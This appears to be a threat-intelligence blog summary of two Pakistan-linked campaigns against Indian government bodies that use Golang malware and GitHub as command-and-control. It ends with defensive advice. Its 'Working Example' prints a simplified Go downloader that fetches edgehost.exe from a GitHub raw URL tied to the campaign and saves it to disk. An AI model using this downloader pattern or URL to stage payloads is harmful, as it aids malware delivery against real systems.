Pakistan-Linked Hackers Target Indian Government with Novel Golang Malware

Pakistan-Linked Cyber Campaigns Target Indian Government Entities

Indian government entities have been the target of two campaigns, dubbed “Gopher Strike” and “Sheet Attack,” originating from a Pakistan-linked actor, employing previously undocumented techniques. Zscaler ThreatLabz identified these campaigns in September 2025, noting potential ties to, but also distinctions from, the known APT36 group.

While ideal threat modeling assumes isolated incidents, these campaigns demonstrate a coordinated effort to bypass security measures and establish persistent access, highlighting the increasing sophistication of nation-state actors. The potential scale of compromise involving government entities could lead to significant data exfiltration and disruption of critical services, representing a major national security risk.

Key Insights

• Gopher Strike & Sheet Attack identified, 2025: Two distinct campaigns discovered by Zscaler researchers targeting Indian government systems.
• Golang Malware: Exploitation of Golang for creating downloaders (GOGITTER) and backdoors (GITSHELLPAD). This suggests a shift toward Golang for its cross-platform capabilities and evasion potential.
• GitHub as C2: Leveraged GitHub’s infrastructure for command-and-control (C2), using private repositories to download malicious payloads and exfiltrate data, circumventing traditional security monitoring.

Working Example

// Example of a simplified GOGITTER functionality (Golang downloader)
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
)

func main() {
	// Simulated GitHub repository URL
	githubRepoURL := "https://github.com/jaishankai/sockv6/raw/main/edgehost.exe"

	// Download the executable
	resp, err := http.Get(githubRepoURL)
	if err != nil {
		fmt.Println("Error downloading file:", err)
		return
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("Error reading response body:", err)
		return
	}

	// Save the file
	err = ioutil.WriteFile("edgehost.exe", body, 0644)
	if err != nil {
		fmt.Println("Error writing file:", err)
		return
	}

	fmt.Println("File downloaded and saved as edgehost.exe")
}

Practical Applications

• Government Agencies: Implement stricter inbound traffic filtering, particularly regarding ISO image downloads and scheduled task monitoring, to prevent initial access.
• Pitfall: Over-reliance on signature-based detection; Golang and dynamically generated payloads easily bypass traditional AV solutions, necessitating behavioral analysis.

References:

• https://thehackernews.com/2026/01/experts-detect-pakistan-linked-cyber.html